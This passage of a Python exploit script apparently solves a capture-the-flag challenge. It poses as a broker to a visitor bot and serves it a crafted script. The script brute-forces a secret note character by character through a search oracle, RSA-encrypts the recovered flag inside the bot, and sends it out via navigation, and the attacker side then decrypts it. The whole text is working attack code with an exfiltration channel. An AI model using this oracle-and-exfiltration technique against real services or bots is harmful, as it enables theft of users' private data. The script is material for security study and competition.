    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def if_else(condition, yes, no):
    return (
        encode("if") + b"\x45" + condition + b"\x55\x44" + yes + b"\x54"
        + encode("else") + b"\x44" + no + b"\x54\x5a"
    )


def encryption_functions():
    encrypt_body = statement(encode("let r=m"))
    for _ in range(16):
        encrypt_body += statement(encode(f"r=r*r%{RSA_N}"))
    encrypt_body += statement(encode(f"r=r*m%{RSA_N}"))
    encrypt_body += statement(encode("return r"))

    finish_body = statement(encode("out=") + literal(CIPHER_PREFIX))
    for offset in range(MAX_FLAG_LENGTH):
        char_name, message_name, cipher_name = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {char_name}=")
            + call("slice", encode("flag"), encode(str(offset)), encode(str(offset + 1)))
        )
        body += statement(
            encode(f"let {message_name}=")
            + call("index_of", literal(ALPHABET), encode(char_name))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        # NOTE: must match the name used in function_statement("encrypt", ...)
        # below exactly -- calling a name that was never defined (e.g. "enc"
        # instead of "encrypt") makes the TALON silently stall here forever.
        body += statement(encode(f"let {cipher_name}=") + call("encrypt", encode(message_name)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher_name}"))
        finish_body += if_block(encode(f"{offset}<len") + b"\x47" + encode("flag") + b"\x57", body)
    finish_body += statement(call("navigate", encode("out")))

    return (
        function_statement("encrypt", ["m"], encrypt_body)
        + function_statement("finish", [], finish_body)
    )


def make_oracle_talon():
    hit = statement(encode("flag=candidate"))
    keep_going = statement(encode("candidate_index=0")) + statement(call("probe"))
    hit += if_else(
        encode("candidate_char==") + literal("}"),
        statement(call("finish")),
        if_else(
            call("len", encode("flag")) + encode(f"<{MAX_FLAG_LENGTH}"),
            keep_going,
            statement(call("navigate", literal("MCENCO-LENGTH"))),
        ),
    )

    miss = statement(encode("candidate_index=candidate_index+1"))
    miss += if_else(
        encode("candidate_index<") + call("len", encode("search_chars")),
        statement(call("probe")),
        statement(call("navigate", literal("MCENCO-MISS"))),
    )

    callback_body = if_else(
        call("index_of", encode("resp.body"), literal(note_name)) + encode("!=null"),
        hit,
        miss,
    )
    request = object_value([
        ("target", literal("note/search")),
        ("roost", literal(roost)),
        ("action", literal("PERCH")),
        ("headers", object_value([("target", literal("note/search"))])),
        ("body", call("lay", object_value([("query", encode("candidate"))]))),
    ])
    probe_body = statement(
        encode("candidate_char=")
        + call("slice", encode("search_chars"), encode("candidate_index"), encode("candidate_index+1"))
    )
    probe_body += statement(encode("candidate=flag+candidate_char"))
    probe_body += statement(call("fetch", request, function_value(["resp"], callback_body)))

    return (
        statement(encode("flag=") + literal("bbb{"))
        + statement(encode("search_chars=") + literal(SEARCH_CHARS))
        + statement(encode("candidate_index=0"))
        + statement(encode("candidate_char=") + literal(""))
        + statement(encode("candidate=") + literal(""))
        + encryption_functions()
        + function_statement("probe", [], probe_body)
        + statement(call("probe"))
    )


TALON = make_oracle_talon()


def unique_twig():
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("oracle/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("oracle/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recv_exact(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"visitor request {request_id} was not received")
            self.buffer.extend(chunk)

    def transcript(self):
        return bytes(self.sent + self.received)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recv_exact(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", TALON), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        if verbose:
            print("[*] Waiting for the bot to finish its own brute force (this runs entirely inside peregrine)...")
        cipher_request = connection.receive_request(4)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))
        connection.send(response_frame(4, "twig", b"\x04" + encode("root") + b"\x14"))

        transcript = connection.transcript()
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    last_error = "no result"
    for attempt in range(max_tries):
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempt + 1} failed: {last_error}")
        if attempt + 1 < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {max_tries} tries: {last_error}")


def main():
    print(f"[*] bot (IP={ip}, PORT={port}, ROOST={roost}, NOTE={note_name})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())